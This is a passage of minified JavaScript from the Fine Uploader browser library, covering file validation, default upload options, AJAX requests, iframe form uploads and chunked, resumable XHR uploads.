shortly."),setTimeout(function(){n._uploadStoredFiles()},1e3))},_validateFileOrBlobData:function(e,t){var n=this,i=function(){return e.file instanceof qq.BlobProxy?e.file.referenceBlob:e.file}(),o=t.name,r=t.size,a=this._getButtonId(e.file),s=this._getValidationBase(a),u=new qq.Promise;return u.then(function(){},function(){n._fileOrBlobRejected(e.id,o)}),qq.isFileOrInput(i)&&!this._isAllowedExtension(s.allowedExtensions,o)?(this._itemError("typeError",o,i),u.failure()):0===r?(this._itemError("emptyError",o,i),u.failure()):r>0&&s.sizeLimit&&r>s.sizeLimit?(this._itemError("sizeError",o,i),u.failure()):r>0&&r<s.minSizeLimit?(this._itemError("minSizeError",o,i),u.failure()):(qq.ImageValidation&&qq.supportedFeatures.imagePreviews&&qq.isFile(i)?new qq.ImageValidation(i,qq.bind(n.log,n)).validate(s.image).then(u.success,function(e){n._itemError(e+"ImageError",o,i),u.failure()}):u.success(),u)},_wrapCallbacks:function(){var e,t,n;e=this,t=function(t,n,i){var o;try{return n.apply(e,i)}catch(n){o=n.message||n.toString(),e.log("Caught exception in '"+t+"' callback - "+o,"error")}};for(n in this._options.callbacks)!function(){var i,o;i=n,o=e._options.callbacks[i],e._options.callbacks[i]=function(){return t(i,o,arguments)}}()}}}(),function(){"use strict";qq.FineUploaderBasic=function(e){var t=this;this._options={debug:!1,button:null,multiple:!0,maxConnections:3,disableCancelForFormUploads:!1,autoUpload:!0,request:{customHeaders:{},endpoint:"/server/upload",filenameParam:"qqfilename",forceMultipart:!0,inputName:"qqfile",method:"POST",params:{},paramsInBody:!0,totalFileSizeName:"qqtotalfilesize",uuidName:"qquuid"},validation:{allowedExtensions:[],sizeLimit:0,minSizeLimit:0,itemLimit:0,stopOnFirstInvalidFile:!0,acceptFiles:null,image:{maxHeight:0,maxWidth:0,minHeight:0,minWidth:0}},callbacks:{onSubmit:function(e,t){},onSubmitted:function(e,t){},onComplete:function(e,t,n,i){},onAllComplete:function(e,t){},onCancel:function(e,t){},onUpload:function(e,t){},onUploadChunk:function(e,t,n){},onUploadChunkSuccess:function(e,t,n,i){},onResume:function(e,t,n){},onProgress:function(e,t,n,i){},onTotalProgress:function(e,t){},onError:function(e,t,n,i){},onAutoRetry:function(e,t,n){},onManualRetry:function(e,t){},onValidateBatch:function(e){},onValidate:function(e){},onSubmitDelete:function(e){},onDelete:function(e){},onDeleteComplete:function(e,t,n){},onPasteReceived:function(e){},onStatusChange:function(e,t,n){},onSessionRequestComplete:function(e,t,n){}},messages:{typeError:"{file} has an invalid extension. Valid extension(s): {extensions}.",sizeError:"{file} is too large, maximum file size is {sizeLimit}.",minSizeError:"{file} is too small, minimum file size is {minSizeLimit}.",emptyError:"{file} is empty, please select files again without it.",noFilesError:"No files to upload.",tooManyItemsError:"Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.",maxHeightImageError:"Image is too tall.",maxWidthImageError:"Image is too wide.",minHeightImageError:"Image is not tall enough.",minWidthImageError:"Image is not wide enough.",retryFailTooManyItems:"Retry failed - you have reached your file limit.",onLeave:"The files are being uploaded, if you leave now the upload will be canceled.",unsupportedBrowserIos8Safari:"Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues."},retry:{enableAuto:!1,maxAutoAttempts:3,autoAttemptDelay:5,preventRetryResponseProperty:"preventRetry"},classes:{buttonHover:"qq-upload-button-hover",buttonFocus:"qq-upload-button-focus"},chunking:{enabled:!1,concurrent:{enabled:!1},mandatory:!1,paramNames:{partIndex:"qqpartindex",partByteOffset:"qqpartbyteoffset",chunkSize:"qqchunksize",totalFileSize:"qqtotalfilesize",totalParts:"qqtotalparts"},partSize:2e6,success:{endpoint:null}},resume:{enabled:!1,recordsExpireIn:7,paramNames:{resuming:"qqresume"}},formatFileName:function(e){return e},text:{defaultResponseError:"Upload failure reason unknown",fileInputTitle:"file input",sizeSymbols:["kB","MB","GB","TB","PB","EB"]},deleteFile:{enabled:!1,method:"DELETE",endpoint:"/server/upload",customHeaders:{},params:{}},cors:{expected:!1,sendCredentials:!1,allowXdr:!1},blobs:{defaultName:"misc_data"},paste:{targetElement:null,defaultName:"pasted_image"},camera:{ios:!1,button:null},extraButtons:[],session:{endpoint:null,params:{},customHeaders:{},refreshOnReset:!0},form:{element:"qq-form",autoUpload:!1,interceptSubmit:!0},scaling:{customResizer:null,sendOriginal:!0,orient:!0,defaultType:null,defaultQuality:80,failureText:"Failed to scale",includeExif:!1,sizes:[]},workarounds:{iosEmptyVideos:!0,ios8SafariUploads:!0,ios8BrowserCrash:!1}},qq.extend(this._options,e,!0),this._buttons=[],this._extraButtonSpecs={},this._buttonIdsForFileIds=[],this._wrapCallbacks(),this._disposeSupport=new qq.DisposeSupport,this._storedIds=[],this._autoRetries=[],this._retryTimeouts=[],this._preventRetries=[],this._thumbnailUrls=[],this._netUploadedOrQueued=0,this._netUploaded=0,this._uploadData=this._createUploadDataTracker(),this._initFormSupportAndParams(),this._customHeadersStore=this._createStore(this._options.request.customHeaders),this._deleteFileCustomHeadersStore=this._createStore(this._options.deleteFile.customHeaders),this._deleteFileParamsStore=this._createStore(this._options.deleteFile.params),this._endpointStore=this._createStore(this._options.request.endpoint),this._deleteFileEndpointStore=this._createStore(this._options.deleteFile.endpoint),this._handler=this._createUploadHandler(),this._deleteHandler=qq.DeleteFileAjaxRequester&&this._createDeleteHandler(),this._options.button&&(this._defaultButtonId=this._createUploadButton({element:this._options.button,title:this._options.text.fileInputTitle}).getButtonId()),this._generateExtraButtonSpecs(),this._handleCameraAccess(),this._options.paste.targetElement&&(qq.PasteSupport?this._pasteHandler=this._createPasteHandler():this.log("Paste support module not found","error")),this._preventLeaveInProgress(),this._imageGenerator=qq.ImageGenerator&&new qq.ImageGenerator(qq.bind(this.log,this)),this._refreshSessionData(),this._succeededSinceLastAllComplete=[],this._failedSinceLastAllComplete=[],this._scaler=qq.Scaler&&new qq.Scaler(this._options.scaling,qq.bind(this.log,this))||{},this._scaler.enabled&&(this._customNewFileHandler=qq.bind(this._scaler.handleNewFile,this._scaler)),qq.TotalProgress&&qq.supportedFeatures.progressBar&&(this._totalProgress=new qq.TotalProgress(qq.bind(this._onTotalProgress,this),function(e){var n=t._uploadData.retrieve({id:e});return n&&n.size||0})),this._currentItemLimit=this._options.validation.itemLimit},qq.FineUploaderBasic.prototype=qq.basePublicApi,qq.extend(qq.FineUploaderBasic.prototype,qq.basePrivateApi)}(),qq.AjaxRequester=function(e){"use strict";function t(){return qq.indexOf(["GET","POST","HEAD"],w.method)>=0}function n(e){var t=!1;return qq.each(t,function(e,n){if(qq.indexOf(["Accept","Accept-Language","Content-Language","Content-Type"],n)<0)return t=!0,!1}),t}function i(e){return w.cors.expected&&void 0===e.withCredentials}function o(){var e;return(window.XMLHttpRequest||window.ActiveXObject)&&(e=qq.createXhrInstance(),void 0===e.withCredentials&&(e=new XDomainRequest,e.onload=function(){},e.onerror=function(){},e.ontimeout=function(){},e.onprogress=function(){})),e}function r(e,t){var n=S[e].xhr;return n||(n=t?t:w.cors.expected?o():qq.createXhrInstance(),S[e].xhr=n),n}function a(e){var t,n=qq.indexOf(v,e),i=w.maxConnections;delete S[e],v.splice(n,1),v.length>=i&&n<i&&(t=v[i-1],l(t))}function s(e,t){var n=r(e),o=w.method,s=t===!0;a(e),s?_(o+" request for "+e+" has failed","error"):i(n)||m(n.status)||(s=!0,_(o+" request for "+e+" has failed - response code "+n.status,"error")),w.onComplete(e,n,s)}function u(e){var t,n=S[e].additionalParams,i=w.mandatedParams;return w.paramsStore.get&&(t=w.paramsStore.get(e)),n&&qq.each(n,function(e,n){t=t||{},t[e]=n}),i&&qq.each(i,function(e,n){t=t||{},t[e]=n}),t}function l(e,t){var n,o=r(e,t),a=w.method,s=u(e),l=S[e].payload;return w.onSend(e),n=c(e,s,S[e].additionalQueryParams),i(o)?(o.onload=p(e),o.onerror=q(e)):o.onreadystatechange=d(e),f(e),o.open(a,n,!0),w.cors.expected&&w.cors.sendCredentials&&!i(o)&&(o.withCredentials=!0),h(e),_("Sending "+a+" request for "+e),l?o.send(l):b||!s?o.send():s&&w.contentType&&w.contentType.toLowerCase().indexOf("application/x-www-form-urlencoded")>=0?o.send(qq.obj2url(s,"")):s&&w.contentType&&w.contentType.toLowerCase().indexOf("application/json")>=0?o.send(JSON.stringify(s)):o.send(s),o}function c(e,t,n){var i=w.endpointStore.get(e),o=S[e].addToPath;return void 0!=o&&(i+="/"+o),b&&t&&(i=qq.obj2url(t,i)),n&&(i=qq.obj2url(n,i)),i}function d(e){return function(){4===r(e).readyState&&s(e)}}function f(e){var t=w.onProgress;t&&(r(e).upload.onprogress=function(n){n.lengthComputable&&t(e,n.loaded,n.total)})}function p(e){return function(){s(e)}}function q(e){return function(){s(e,!0)}}function h(e){var o=r(e),a=w.customHeaders,s=S[e].additionalHeaders||{},u=w.method,l={};i(o)||(w.acceptHeader&&o.setRequestHeader("Accept",w.acceptHeader),w.allowXRequestedWithAndCacheControl&&(w.cors.expected&&t()&&!n(a)||(o.setRequestHeader("X-Requested-With","XMLHttpRequest"),o.setRequestHeader("Cache-Control","no-cache"))),!w.contentType||"POST"!==u&&"PUT"!==u||o.setRequestHeader("Content-Type",w.contentType),qq.extend(l,qq.isFunction(a)?a(e):a),qq.extend(l,s),qq.each(l,function(e,t){o.setRequestHeader(e,t)}))}function m(e){return qq.indexOf(w.successfulResponseCodes[w.method],e)>=0}function g(e,t,n,i,o,r,a){S[e]={addToPath:n,additionalParams:i,additionalQueryParams:o,additionalHeaders:r,payload:a};var s=v.push(e);if(s<=w.maxConnections)return l(e,t)}var _,b,v=[],S={},w={acceptHeader:null,validMethods:["PATCH","POST","PUT"],method:"POST",contentType:"application/x-www-form-urlencoded",maxConnections:3,customHeaders:{},endpointStore:{},paramsStore:{},mandatedParams:{},allowXRequestedWithAndCacheControl:!0,successfulResponseCodes:{DELETE:[200,202,204],PATCH:[200,201,202,203,204],POST:[200,201,202,203,204],PUT:[200,201,202,203,204],GET:[200]},cors:{expected:!1,sendCredentials:!1},log:function(e,t){},onSend:function(e){},onComplete:function(e,t,n){},onProgress:null};if(qq.extend(w,e),_=w.log,qq.indexOf(w.validMethods,w.method)<0)throw new Error("'"+w.method+"' is not a supported method for this type of request!");b="GET"===w.method||"DELETE"===w.method,qq.extend(this,{initTransport:function(e){var t,n,i,o,r,a;return{withPath:function(e){return t=e,this},withParams:function(e){return n=e,this},withQueryParams:function(e){return a=e,this},withHeaders:function(e){return i=e,this},withPayload:function(e){return o=e,this},withCacheBuster:function(){return r=!0,this},send:function(s){return r&&qq.indexOf(["GET","DELETE"],w.method)>=0&&(n.qqtimestamp=(new Date).getTime()),g(e,s,t,n,a,i,o)}}},canceled:function(e){a(e)}})},qq.UploadHandler=function(e){"use strict";var t=e.proxy,n={},i=t.onCancel,o=t.getName;qq.extend(this,{add:function(e,t){n[e]=t,n[e].temp={}},cancel:function(e){var t=this,r=new qq.Promise,a=i(e,o(e),r);a.then(function(){t.isValid(e)&&(n[e].canceled=!0,t.expunge(e)),r.success()})},expunge:function(e){delete n[e]},getThirdPartyFileId:function(e){return n[e].key},isValid:function(e){return void 0!==n[e]},reset:function(){n={}},_getFileState:function(e){return n[e]},_setThirdPartyFileId:function(e,t){n[e].key=t},_wasCanceled:function(e){return!!n[e].canceled}})},qq.UploadHandlerController=function(e,t){"use strict";var n,i,o,r=this,a=!1,s=!1,u={paramsStore:{},maxConnections:3,chunking:{enabled:!1,multiple:{enabled:!1}},log:function(e,t){},onProgress:function(e,t,n,i){},onComplete:function(e,t,n,i){},onCancel:function(e,t){},onUploadPrep:function(e){},onUpload:function(e,t){},onUploadChunk:function(e,t,n){},onUploadChunkSuccess:function(e,t,n,i){},onAutoRetry:function(e,t,n,i){},onResume:function(e,t,n){},onUuidChanged:function(e,t){},getName:function(e){},setSize:function(e,t){},isQueued:function(e){},getIdsInProxyGroup:function(e){},getIdsInBatch:function(e){}},l={done:function(e,t,n,i){var r=o._getChunkData(e,t);o._getFileState(e).attemptingResume=!1,delete o._getFileState(e).temp.chunkProgress[t],o._getFileState(e).loaded+=r.size,u.onUploadChunkSuccess(e,o._getChunkDataForCallback(r),n,i)},finalize:function(e){var t=u.getSize(e),n=u.getName(e);i("All chunks have been uploaded for "+e+" - finalizing...."),o.finalizeChunks(e).then(function(r,a){i("Finalize successful for "+e);var s=f.normalizeResponse(r,!0);u.onProgress(e,n,t,t),o._maybeDeletePersistedChunkData(e),f.cleanup(e,s,a)},function(t,o){var r=f.normalizeResponse(t,!1);i("Problem finalizing chunks for file ID "+e+" - "+r.error,"error"),r.reset&&l.reset(e),u.onAutoRetry(e,n,r,o)||f.cleanup(e,r,o)})},hasMoreParts:function(e){return!!o._getFileState(e).chunking.remaining.length},nextPart:function(e){var t=o._getFileState(e).chunking.remaining.shift();return t>=o._getTotalChunks(e)&&(t=null),t},reset:function(e){i("Server or callback has ordered chunking effort to be restarted on next attempt for item ID "+e,"error"),o._maybeDeletePersistedChunkData(e),o.reevaluateChunking(e),o._getFileState(e).loaded=0},sendNext:function(e){var t=u.getSize(e),n=u.getName(e),r=l.nextPart(e),a=o._getChunkData(e,r),d=o._getFileState(e).attemptingResume,p=o._getFileState(e).chunking.inProgress||[];null==o._getFileState(e).loaded&&(o._getFileState(e).loaded=0),d&&u.onResume(e,n,a)===!1&&(l.reset(e),r=l.nextPart(e),a=o._getChunkData(e,r),d=!1),null==r&&0===p.length?l.finalize(e):(i(qq.format("Sending chunked upload request for item {}.{}, bytes {}-{} of {}.",e,r,a.start+1,a.end,t)),u.onUploadChunk(e,n,o._getChunkDataForCallback(a)),p.push(r),o._getFileState(e).chunking.inProgress=p,s&&c.open(e,r),s&&c.available()&&o._getFileState(e).chunking.remaining.length&&l.sendNext(e),o.uploadChunk(e,r,d).then(function(t,n){i("Chunked upload request succeeded for "+e+", chunk "+r),o.clearCachedChunk(e,r);var a=o._getFileState(e).chunking.inProgress||[],s=f.normalizeResponse(t,!0),u=qq.indexOf(a,r);i(qq.format("Chunk {} for file {} uploaded successfully.",r,e)),l.done(e,r,s,n),u>=0&&a.splice(u,1),o._maybePersistChunkedState(e),l.hasMoreParts(e)||0!==a.length?l.hasMoreParts(e)?l.sendNext(e):i(qq.format("File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}",e,JSON.stringify(a))):l.finalize(e)},function(t,a){i("Chunked upload request failed for "+e+", chunk "+r),o.clearCachedChunk(e,r);var d,p=f.normalizeResponse(t,!1);p.reset?l.reset(e):(d=qq.indexOf(o._getFileState(e).chunking.inProgress,r),d>=0&&(o._getFileState(e).chunking.inProgress.splice(d,1),o._getFileState(e).chunking.remaining.unshift(r))),o._getFileState(e).temp.ignoreFailure||(s&&(o._getFileState(e).temp.ignoreFailure=!0,i(qq.format("Going to attempt to abort these chunks: {}. These are currently in-progress: {}.",JSON.stringify(Object.keys(o._getXhrs(e))),JSON.stringify(o._getFileState(e).chunking.inProgress))),qq.each(o._getXhrs(e),function(t,n){i(qq.format("Attempting to abort file {}.{}. XHR readyState {}. ",e,t,n.readyState)),n.abort(),n._cancelled=!0}),o.moveInProgressToRemaining(e),c.free(e,!0)),u.onAutoRetry(e,n,p,a)||f.cleanup(e,p,a))}).done(function(){o.clearXhr(e,r)}))}},c={_open:[],_openChunks:{},_waiting:[],available:function(){var e=u.maxConnections,t=0,n=0;return qq.each(c._openChunks,function(e,i){t++,n+=i.length}),e-(c._open.length-t+n)},free:function(e,t){var n,r=!t,a=qq.indexOf(c._waiting,e),s=qq.indexOf(c._open,e);delete c._openChunks[e],f.getProxyOrBlob(e)instanceof qq.BlobProxy&&(i("Generated blob upload has ended for "+e+", disposing generated blob."),delete o._getFileState(e).file),a>=0?c._waiting.splice(a,1):r&&s>=0&&(c._open.splice(s,1),n=c._waiting.shift(),n>=0&&(c._open.push(n),f.start(n)))},getWaitingOrConnected:function(){var e=[];return qq.each(c._openChunks,function(t,n){n&&n.length&&e.push(parseInt(t))}),qq.each(c._open,function(t,n){c._openChunks[n]||e.push(parseInt(n))}),e=e.concat(c._waiting)},isUsingConnection:function(e){return qq.indexOf(c._open,e)>=0},open:function(e,t){return null==t&&c._waiting.push(e),!!c.available()&&(null==t?(c._waiting.pop(),c._open.push(e)):!function(){var n=c._openChunks[e]||[];n.push(t),c._openChunks[e]=n}(),!0)},reset:function(){c._waiting=[],c._open=[]}},d={send:function(e,t){o._getFileState(e).loaded=0,i("Sending simple upload request for "+e),o.uploadFile(e).then(function(n,o){i("Simple upload request succeeded for "+e);var r=f.normalizeResponse(n,!0),a=u.getSize(e);u.onProgress(e,t,a,a),f.maybeNewUuid(e,r),f.cleanup(e,r,o)},function(n,o){i("Simple upload request failed for "+e);var r=f.normalizeResponse(n,!1);u.onAutoRetry(e,t,r,o)||f.cleanup(e,r,o)})}},f={cancel:function(e){i("Cancelling "+e),u.paramsStore.remove(e),c.free(e)},cleanup:function(e,t,n){var i=u.getName(e);u.onComplete(e,i,t,n),o._getFileState(e)&&o._clearXhrs&&o._clearXhrs(e),c.free(e)},getProxyOrBlob:function(e){return o.getProxy&&o.getProxy(e)||o.getFile&&o.getFile(e)},initHandler:function(){var e=t?qq[t]:qq.traditional,n=qq.supportedFeatures.ajaxUploading?"Xhr":"Form";o=new e[n+"UploadHandler"](u,{getDataByUuid:u.getDataByUuid,getName:u.getName,getSize:u.getSize,getUuid:u.getUuid,log:i,onCancel:u.onCancel,onProgress:u.onProgress,onUuidChanged:u.onUuidChanged}),o._removeExpiredChunkingRecords&&o._removeExpiredChunkingRecords()},isDeferredEligibleForUpload:function(e){return u.isQueued(e)},maybeDefer:function(e,t){return t&&!o.getFile(e)&&t instanceof qq.BlobProxy?(u.onUploadPrep(e),i("Attempting to generate a blob on-demand for "+e),t.create().then(function(t){i("Generated an on-demand blob for "+e),o.updateBlob(e,t),u.setSize(e,t.size),o.reevaluateChunking(e),f.maybeSendDeferredFiles(e)},function(t){var o={};t&&(o.error=t),i(qq.format("Failed to generate blob for ID {}.  Error message: {}.",e,t),"error"),u.onComplete(e,u.getName(e),qq.extend(o,n),null),f.maybeSendDeferredFiles(e),c.free(e)}),!1):f.maybeSendDeferredFiles(e)},maybeSendDeferredFiles:function(e){var t=u.getIdsInProxyGroup(e),n=!1;return t&&t.length?(i("Maybe ready to upload proxy group file "+e),qq.each(t,function(t,i){if(f.isDeferredEligibleForUpload(i)&&o.getFile(i))n=i===e,f.now(i);else if(f.isDeferredEligibleForUpload(i))return!1})):(n=!0,f.now(e)),n},maybeNewUuid:function(e,t){void 0!==t.newUuid&&u.onUuidChanged(e,t.newUuid)},normalizeResponse:function(e,t){var n=e;return qq.isObject(e)||(n={},qq.isString(e)&&!t&&(n.error=e)),n.success=t,n},now:function(e){var t=u.getName(e);if(!r.isValid(e))throw new qq.Error(e+" is not a valid file ID to upload!");u.onUpload(e,t),a&&o._shouldChunkThisFile(e)?l.sendNext(e):d.send(e,t)},start:function(e){var t=f.getProxyOrBlob(e);return t?f.maybeDefer(e,t):(f.now(e),!0)}};qq.extend(this,{add:function(e,t){o.add.apply(this,arguments)},upload:function(e){return!!c.open(e)&&f.start(e)},retry:function(e){return s&&(o._getFileState(e).temp.ignoreFailure=!1),c.isUsingConnection(e)?f.start(e):r.upload(e)},cancel:function(e){var t=o.cancel(e);qq.isGenericPromise(t)?t.then(function(){f.cancel(e)}):t!==!1&&f.cancel(e)},cancelAll:function(){var e,t=c.getWaitingOrConnected();if(t.length)for(e=t.length-1;e>=0;e--)r.cancel(t[e]);c.reset()},getFile:function(e){return o.getProxy&&o.getProxy(e)?o.getProxy(e).referenceBlob:o.getFile&&o.getFile(e)},isProxied:function(e){return!(!o.getProxy||!o.getProxy(e))},getInput:function(e){if(o.getInput)return o.getInput(e)},reset:function(){i("Resetting upload handler"),r.cancelAll(),c.reset(),o.reset()},expunge:function(e){if(r.isValid(e))return o.expunge(e)},isValid:function(e){return o.isValid(e)},getResumableFilesData:function(){
return o.getResumableFilesData?o.getResumableFilesData():[]},getThirdPartyFileId:function(e){if(r.isValid(e))return o.getThirdPartyFileId(e)},pause:function(e){return!!(r.isResumable(e)&&o.pause&&r.isValid(e)&&o.pause(e))&&(c.free(e),o.moveInProgressToRemaining(e),!0)},isResumable:function(e){return!!o.isResumable&&o.isResumable(e)}}),qq.extend(u,e),i=u.log,a=u.chunking.enabled&&qq.supportedFeatures.chunking,s=a&&u.chunking.concurrent.enabled,n=function(){var e={};return e[u.preventRetryParam]=!0,e}(),f.initHandler()},qq.WindowReceiveMessage=function(e){"use strict";var t={log:function(e,t){}},n={};qq.extend(t,e),qq.extend(this,{receiveMessage:function(e,t){var i=function(e){t(e.data)};window.postMessage?n[e]=qq(window).attach("message",i):log("iframe message passing not supported in this browser!","error")},stopReceivingMessages:function(e){if(window.postMessage){var t=n[e];t&&t()}}})},qq.FormUploadHandler=function(e){"use strict";function t(e){delete c[e],f&&(clearTimeout(d[e]),delete d[e],m.stopReceivingMessages(e));var t=document.getElementById(a._getIframeName(e));t&&(t.setAttribute("src","javascript:false;"),qq(t).remove())}function n(e){return e.split("_")[0]}function i(e){var t=qq.toElement("<iframe src='javascript:false;' name='"+e+"' />");return t.setAttribute("id",e),t.style.display="none",document.body.appendChild(t),t}function o(e,t){var i=e.id,o=n(i),r=q(o);l[r]=t,c[o]=qq(e).attach("load",function(){a.getInput(o)&&(h("Received iframe load event for CORS upload request (iframe name "+i+")"),d[i]=setTimeout(function(){var e="No valid message received from loaded iframe for iframe name "+i;h(e,"error"),t({error:e})},1e3))}),m.receiveMessage(i,function(e){h("Received the following window message: '"+e+"'");var t,o=(n(i),a._parseJsonResponse(e)),r=o.uuid;r&&l[r]?(h("Handling response for iframe name "+i),clearTimeout(d[i]),delete d[i],a._detachLoadEvent(i),t=l[r],delete l[r],m.stopReceivingMessages(i),t(o)):r||h("'"+e+"' does not contain a UUID - ignoring.")})}var r=e.options,a=this,s=e.proxy,u=qq.getUniqueId(),l={},c={},d={},f=r.isCors,p=r.inputName,q=s.getUuid,h=s.log,m=new qq.WindowReceiveMessage({log:h});qq.extend(this,new qq.UploadHandler(e)),qq.override(this,function(e){return{add:function(t,n){e.add(t,{input:n}),n.setAttribute("name",p),n.parentNode&&qq(n).remove()},expunge:function(n){t(n),e.expunge(n)},isValid:function(t){return e.isValid(t)&&void 0!==a._getFileState(t).input}}}),qq.extend(this,{getInput:function(e){return a._getFileState(e).input},_attachLoadEvent:function(e,t){var n;f?o(e,t):c[e.id]=qq(e).attach("load",function(){if(h("Received response for "+e.id),e.parentNode){try{if(e.contentDocument&&e.contentDocument.body&&"false"==e.contentDocument.body.innerHTML)return}catch(e){h("Error when attempting to access iframe during handling of upload response ("+e.message+")","error"),n={success:!1}}t(n)}})},_createIframe:function(e){var t=a._getIframeName(e);return i(t)},_detachLoadEvent:function(e){void 0!==c[e]&&(c[e](),delete c[e])},_getIframeName:function(e){return e+"_"+u},_initFormForUpload:function(e){var t=e.method,n=e.endpoint,i=e.params,o=e.paramsInBody,r=e.targetName,a=qq.toElement("<form method='"+t+"' enctype='multipart/form-data'></form>"),s=n;return o?qq.obj2Inputs(i,a):s=qq.obj2url(i,n),a.setAttribute("action",s),a.setAttribute("target",r),a.style.display="none",document.body.appendChild(a),a},_parseJsonResponse:function(e){var t={};try{t=qq.parseJson(e)}catch(e){h("Error when attempting to parse iframe upload response ("+e.message+")","error")}return t}})},qq.XhrUploadHandler=function(e){"use strict";function t(e){qq.each(n._getXhrs(e),function(t,i){var o=n._getAjaxRequester(e,t);i.onreadystatechange=null,i.upload.onprogress=null,i.abort(),o&&o.canceled&&o.canceled(e)})}var n=this,i=e.options.namespace,o=e.proxy,r=e.options.chunking,a=e.options.resume,s=r&&e.options.chunking.enabled&&qq.supportedFeatures.chunking,u=a&&e.options.resume.enabled&&s&&qq.supportedFeatures.resume,l=o.getName,c=o.getSize,d=o.getUuid,f=o.getEndpoint,p=o.getDataByUuid,q=o.onUuidChanged,h=o.onProgress,m=o.log;qq.extend(this,new qq.UploadHandler(e)),qq.override(this,function(e){return{add:function(t,i){if(qq.isFile(i)||qq.isBlob(i))e.add(t,{file:i});else{if(!(i instanceof qq.BlobProxy))throw new Error("Passed obj is not a File, Blob, or proxy");e.add(t,{proxy:i})}n._initTempState(t),u&&n._maybePrepareForResume(t)},expunge:function(i){t(i),n._maybeDeletePersistedChunkData(i),n._clearXhrs(i),e.expunge(i)}}}),qq.extend(this,{clearCachedChunk:function(e,t){delete n._getFileState(e).temp.cachedChunks[t]},clearXhr:function(e,t){var i=n._getFileState(e).temp;i.xhrs&&delete i.xhrs[t],i.ajaxRequesters&&delete i.ajaxRequesters[t]},finalizeChunks:function(e,t){var i=n._getTotalChunks(e)-1,o=n._getXhr(e,i);return t?(new qq.Promise).success(t(o),o):(new qq.Promise).success({},o)},getFile:function(e){return n.isValid(e)&&n._getFileState(e).file},getProxy:function(e){return n.isValid(e)&&n._getFileState(e).proxy},getResumableFilesData:function(){var e=[];return n._iterateResumeRecords(function(t,i){n.moveInProgressToRemaining(null,i.chunking.inProgress,i.chunking.remaining);var o={name:i.name,remaining:i.chunking.remaining,size:i.size,uuid:i.uuid};i.key&&(o.key=i.key),e.push(o)}),e},isResumable:function(e){return!!r&&n.isValid(e)&&!n._getFileState(e).notResumable},moveInProgressToRemaining:function(e,t,i){var o=t||n._getFileState(e).chunking.inProgress,r=i||n._getFileState(e).chunking.remaining;o&&(m(qq.format("Moving these chunks from in-progress {}, to remaining.",JSON.stringify(o))),o.reverse(),qq.each(o,function(e,t){r.unshift(t)}),o.length=0)},pause:function(e){if(n.isValid(e))return m(qq.format("Aborting XHR upload for {} '{}' due to pause instruction.",e,l(e))),n._getFileState(e).paused=!0,t(e),!0},reevaluateChunking:function(e){if(r&&n.isValid(e)){var t,i,o=n._getFileState(e);if(delete o.chunking,o.chunking={},t=n._getTotalChunks(e),t>1||r.mandatory){for(o.chunking.enabled=!0,o.chunking.parts=t,o.chunking.remaining=[],i=0;i<t;i++)o.chunking.remaining.push(i);n._initTempState(e)}else o.chunking.enabled=!1}},updateBlob:function(e,t){n.isValid(e)&&(n._getFileState(e).file=t)},_clearXhrs:function(e){var t=n._getFileState(e).temp;qq.each(t.ajaxRequesters,function(e){delete t.ajaxRequesters[e]}),qq.each(t.xhrs,function(e){delete t.xhrs[e]})},_createXhr:function(e,t){return n._registerXhr(e,t,qq.createXhrInstance())},_getAjaxRequester:function(e,t){var i=null==t?-1:t;return n._getFileState(e).temp.ajaxRequesters[i]},_getChunkData:function(e,t){var i=r.partSize,o=c(e),a=n.getFile(e),s=i*t,u=s+i>=o?o:s+i,l=n._getTotalChunks(e),d=this._getFileState(e).temp.cachedChunks,f=d[t]||qq.sliceBlob(a,s,u);return d[t]=f,{part:t,start:s,end:u,count:l,blob:f,size:u-s}},_getChunkDataForCallback:function(e){return{partIndex:e.part,startByte:e.start+1,endByte:e.end,totalParts:e.count}},_getLocalStorageId:function(e){var t="5.0",n=l(e),o=c(e),a=r.partSize,s=f(e);return qq.format("qq{}resume{}-{}-{}-{}-{}",i,t,n,o,a,s)},_getMimeType:function(e){return n.getFile(e).type},_getPersistableData:function(e){return n._getFileState(e).chunking},_getTotalChunks:function(e){if(r){var t=c(e),n=r.partSize;return Math.ceil(t/n)}},_getXhr:function(e,t){var i=null==t?-1:t;return n._getFileState(e).temp.xhrs[i]},_getXhrs:function(e){return n._getFileState(e).temp.xhrs},_iterateResumeRecords:function(e){u&&qq.each(localStorage,function(t,n){if(0===t.indexOf(qq.format("qq{}resume",i))){var o=JSON.parse(n);e(t,o)}})},_initTempState:function(e){n._getFileState(e).temp={ajaxRequesters:{},chunkProgress:{},xhrs:{},cachedChunks:{}}},_markNotResumable:function(e){n._getFileState(e).notResumable=!0},_maybeDeletePersistedChunkData:function(e){var t;return!!(u&&n.isResumable(e)&&(t=n._getLocalStorageId(e),t&&localStorage.getItem(t)))&&(localStorage.removeItem(t),!0)},_maybePrepareForResume:function(e){var t,i,o=n._getFileState(e);u&&void 0===o.key&&(t=n._getLocalStorageId(e),i=localStorage.getItem(t),i&&(i=JSON.parse(i),p(i.uuid)?n._markNotResumable(e):(m(qq.format("Identified file with ID {} and name of {} as resumable.",e,l(e))),q(e,i.uuid),o.key=i.key,o.chunking=i.chunking,o.loaded=i.loaded,o.attemptingResume=!0,n.moveInProgressToRemaining(e))))},_maybePersistChunkedState:function(e){var t,i,o=n._getFileState(e);if(u&&n.isResumable(e)){t=n._getLocalStorageId(e),i={name:l(e),size:c(e),uuid:d(e),key:o.key,chunking:o.chunking,loaded:o.loaded,lastUpdated:Date.now()};try{localStorage.setItem(t,JSON.stringify(i))}catch(t){m(qq.format("Unable to save resume data for '{}' due to error: '{}'.",e,t.toString()),"warn")}}},_registerProgressHandler:function(e,t,i){var o=n._getXhr(e,t),r=l(e),a={simple:function(t,n){var i=c(e);t===n?h(e,r,i,i):h(e,r,t>=i?i-1:t,i)},chunked:function(o,a){var s=n._getFileState(e).temp.chunkProgress,u=n._getFileState(e).loaded,l=o,d=a,f=c(e),p=l-(d-i),q=u;s[t]=p,qq.each(s,function(e,t){q+=t}),h(e,r,q,f)}};o.upload.onprogress=function(e){if(e.lengthComputable){var t=null==i?"simple":"chunked";a[t](e.loaded,e.total)}}},_registerXhr:function(e,t,i,o){var r=null==t?-1:t,a=n._getFileState(e).temp;return a.xhrs=a.xhrs||{},a.ajaxRequesters=a.ajaxRequesters||{},a.xhrs[r]=i,o&&(a.ajaxRequesters[r]=o),i},_removeExpiredChunkingRecords:function(){var e=a.recordsExpireIn;n._iterateResumeRecords(function(t,n){var i=new 